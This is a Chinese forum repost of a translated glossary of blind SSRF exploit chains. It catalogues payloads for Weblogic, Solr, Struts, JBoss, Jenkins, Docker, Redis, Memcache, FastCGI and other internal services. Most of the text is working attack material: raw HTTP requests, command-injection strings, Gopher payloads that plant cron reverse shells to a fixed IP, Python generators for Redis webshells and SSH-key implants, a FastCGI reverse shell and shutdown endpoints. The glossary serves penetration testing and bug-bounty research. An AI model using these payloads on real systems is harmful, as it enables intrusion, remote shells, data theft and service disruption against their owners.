A Glossary of Blind SSRF Chains
mss**** WEB安全 12839浏览 · 2021-01-18 10:04

原文地址:https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

导言

什么是服务器端请求伪造(SSRF)?

所谓服务器端请求伪造,简单来说就是迫使服务器以其身份替您发送任意请求。当请求由服务器发出时,得益于服务器自身所处的网络位置,很可能有机会访问各种内部资源。在云环境中,由于存在包含敏感凭据或机密信息的元数据端点,因此,SSRF会造成更大的危害。

Blind SSRF

在利用服务器端请求伪造漏洞时,我们经常会发现自己所在的位置无法读取响应。在业界,这种情况通常被称为Blind SSRF。在这种情况下,我们如何验证该漏洞的影响呢?对此,Justin Gardner在推特上引发了一场有趣的讨论:

“我最近发现了大量的Blind SSRF漏洞。你们之前用过哪些one-shot RCE漏洞作为跳板?我曾经搞过Kafka及其他系统。@nnwakelam@thedawgyg”
  — Justin Gardner (@Rhynorater) January 13, 2021

如果您可以访问内部资源,那么就可以利用许多潜在的exploit chain来证明这些漏洞的影响。在这篇文章中,我们将为大家详细介绍在利用blind SSRF漏洞时,目前已知的各种exploit chain,并且随着新技术的出现,我们将持续更新本文。

本文中介绍的技术,都可以从下面的GitHub repo中找到:Blind SSRF Chains

如果您希望为本文贡献更多的技巧,请在GitHub上给我们发送拉取请求。

SSRF Canary

当将一个blind SSRF漏洞与另一个SSRF漏洞(在内部,它会进行额外的外部调用,或者通过一个特定于应用程序的开放式重定向漏洞或blind XXE漏洞进行调用)串联到一起时,我通常将它们称为SSRF canary。在这方面,Confluence、Artifactory、Jenkins和JAMF已经做了大量优秀的工作。
  — Frans Rosén (@fransrosen) January 13, 2021

为了验证是否能够与内部服务或应用程序进行交互,我们可以求助于“SSRF canary”。

这时,我们可以请求一个内部URL,它会执行另一个SSRF,并向您的canary主机发送请求。如果您收到了向canary主机发出的请求,就说明您已经成功地“击中”了一个内部服务,并且该服务还能发送出站请求。

这种方法,不仅可以有效验证SSRF漏洞是否可以访问内部网络或应用程序,还可以验证内部网络上是否存在某些软件。此外,您还可以将SSRF canary作为跳板,进入内部网络中更敏感的部分,具体取决于SSRF canary所在的位置。

使用DNS数据源和AltDNS查找内部主机

为了找到尽可能多的内部主机,可以利用DNS数据源找出所有指向内部主机的记录。

在云环境中,我们经常看到ELB指向内部VPC中的主机。根据您的目标资产所在的VPC,也许可以访问同一VPC内的其他主机。

例如,假设从DNS数据源中发现了以下主机:

livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82

您可以假设,es代表Elasticsearch,并且要对这个主机发动进一步的攻击。此外,您还可以将所有这些blind SSRF payload喷射到通过这种方法识别出来的所有“内部”主机上。这种方法通常能够奏效。

为了找到更多的内部主机,建议使用手中所有的DNS数据,并通过类似AltDNS这样的工具来生成排列组合,然后用快速的DNS蛮力搜索工具来解析它们。

完成上述工作后,找出所有新发现的内部主机,并将它们用作blind SSRF chain的一部分。

侧通道泄漏

当利用blind SSRF漏洞时,可能会泄露一些与返回的响应有关的信息。例如,假设您通过XXE发动blind SSRF攻击,错误信息可能会表明:

  • 是否返回了一个响应
Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.

以及:

  • 主机和端口是否不可达
Error parsing request: System.Net.WebException: Unable to connect to the remote server

同样,除了XXE之外,Web应用也可能存在侧通道泄漏,可以通过检查下面内容的差异进行确认:

  • 响应的状态代码

在线内部资产:端口(asset:port)的响应为“200 OK”,而离线内部资产:端口的相应为“500 Internal Server Error”。

  • 响应的内容

响应的长度(以字节为单位)是大是小,取决于您尝试请求的URL是否可达。

  • 响应的时间

响应时间是慢还是快,取决于您试图请求的URL是否可达。

相关技术

基于HTTP(s)的技术

Elasticsearch

常用绑定端口:9200

当Elasticsearch在内部部署时,通常不要求进行身份验证。

如果您发现了一个可以确定状态代码的“半盲”类型的SSRF漏洞,请检查以下端点是否返回200:

/_cluster/health
/_cat/indices
/_cat/health

如果您发现了一个可以发送POST请求的blind SSRF漏洞,可以通过向以下路径发送POST请求来关闭Elasticsearch实例:

注意:_shutdown API已经从Elasticsearch 2.x.及后续版本中移除。也就是说,这种方法只适用于Elasticsearch 1.6及更低的版本。

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

**常用绑定端口:80、443(SSL)、7001、8888

SSRF Canary: UDDI Explorer (CVE-2014-4210)**

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

这种技术也适用于GET方法:

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

这个端点还存在CRLF注入漏洞:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

这将生成以下请求:

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF Canary: CVE-2020-14883

详情请参阅这里

对于linux系统:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

对于Windows系统:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

常用绑定端口:8500、8501(SSL)

完整描述请访问这里

Shellshock

常用绑定端口:80、443(SSL)、8080

为了有效地测试Shellshock,需要添加一个包含payload的头部。下面的CGI路径值得一试:

对于待测试的CGI路径清单,请访问https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4。

SSRF Canary:基于用户代理的Shellshock

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

常用绑定端口:80、8080、8888、8082

关于Apache Druid的API参考资料,请访问这里

如果可以查看状态代码,请检查以下路径,看看是否返回状态代码200:

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

关闭任务,这需要猜测任务ID或数据源的名称:

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

关闭Apache Druid Overlords上的管理程序(supervisors):

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

常用绑定端口:8983

SSRF Canary:Shards Parameter

补充一下shubham所说的内容——扫描solr要更容易些。实际上,存在一个参数shards= param,可用来实现SSRF的跳转,以验证您是否“通过盲打击中了”一个solr实例。
    — Хавиж Наффи ?? (@nnwakelam) January 13, 2021

下面的内容摘自这里

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr 
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

基于dataImportHandler的RCE漏洞

详情请参阅https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler。

PeopleSoft

常用绑定端口:80、443(SSL)

下面的内容援引自这里

**SSRF Canary: XXE `#1`**

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

SSRF Canary: XXE #2

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

常用绑定端口:80,443(SSL),8080,8443(SSL)

下面的内容援引自这里

SSRF Canary: Struts2-016:

把下面的内容追加到您知道的每个内部端点/URL的尾部:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

常用绑定端口:80,443(SSL),8080,8443(SSL)

下面的内容援引自这里

SSRF Canary: 部署来自URL的WAR

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

常用绑定端口:80、443(SSL)、8080、8443(SSL)

SSRF Canary:Sharelinks(从2016年11月及之前发布的Confluence版本)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

常用绑定端口:80、443(SSL)、8080、8443(SSL)

SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Atlassian Security Ticket JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

其他Atlassian产品

常用绑定端口:80、443(SSL)、8080、8443(SSL)

SSRF Canary: iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2

Atlassian Security Ticket OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

常用绑定端口:4242

OpenTSDB Remote Code Execution

SSRF Canary: curl via RCE

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

Jenkins

常用绑定端口:80、443(SSL)、8080、8888

详情请访问这里

SSRF Canary: CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

按照下文介绍的步骤,通过GET实现RCE攻击:Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

基于Groovy的RCE漏洞

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Hystrix Dashboard

常用绑定端口:80、443(SSL)、8080

Spring Cloud Netflix:2.2.4之前的2.2.x版本,2.1.x之前的2.1.6版本。

SSRF Canary: CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

常用绑定端口:80、443(SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

这里必须是一个PUT请求:

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: 
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF Canary

关于该漏洞的安全公告,请访问https://klikki.fi/adv/w3_total_cache.html。

下面的PHP代码用于为您的SSRF Canary主机生成一个payload(请用您的canary主机替换其中的url):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

常用绑定端口:2375、2376 (SSL)

如果您发现了一个“半盲”类型的SSRF漏洞,则可以通过以下路径来验证是否存在Dockers API:

/containers/json
/secrets
/services

通过运行任意docker映像实现RCE

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

注意,这里需要用让docker容器运行的映像来替换alpine。

Gitlab Prometheus Redis Exporter

常用绑定端口:9121

这个漏洞会影响13.1.1版本之前的Gitlab实例。根据Gitlab文档,从GitLab 9.0开始,Prometheus及其导出程序(exporter)将默认处于开启状态。

这些导出程序为攻击者利用CVE-2020-13379实现跳转,或攻击其他服务打开了方便之门。其中一个容易被利用的导出程序是Redis Exporter。

以下端点将允许攻击者转储通过target参数提供的redis服务器中的所有密钥:

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

基于Gopher的技术

Redis

常用绑定端口:6379

推荐阅读:

基于Cron的RCE——Gopher的攻击面

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

基于Shell上传(PHP)的RCE——Redis Getshell综述

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

基于authorized_keys的RCE——Redis Getshell综述

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
     "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

基于Git协议的GitLab RCE

这方面的详细介绍,请访问这里

虽然这需要具有经过认证的GitLab访问权限才能利用该漏洞,之所以将这个payload含在这里,因为您的攻击目标系统上可能正在使用git协议。这个payload仅供参考。

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

常用绑定端口:11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

常用绑定端口:80、443(SSL)、8080、8443(SSL)

它仅适用于Tomcat 6:

gopher-tomcat-deployer

关于该技术的详细介绍,请参考:

From XXE to RCE: Pwn2Win CTF 2018 Writeup

FastCGI

常用绑定端口:80,443(SSL)

下面的内容援引自这里

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

相关工具

Gopherus

这个工具可以为下列系统生成Gopher payload:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

SSRF Proxy

SSRF Proxy是一个多线程HTTP代理服务器,用于通过易受SSRF漏洞影响的HTTP服务器来传输客户端的HTTP流量。

鸣谢

在此,我们要衷心感谢以下人员对本篇文章所做出的贡献:

  • @Rhynorater - Numerous contributions towards this blog post
  • @nnwakelam - Solr Shards SSRF
  • @marcioalm - Tomcat 6 Gopher RCE
  • @vtnahira - OpenTSDB RCE
  • @fransrosen - SSRF canaries concept
  • @theabrahack - RCE via Jenkins Groovy
  • 自行车链logo由Rafael Empinotti设计,援引自Noun Project。
0 条评论
某人
表情
可输入 255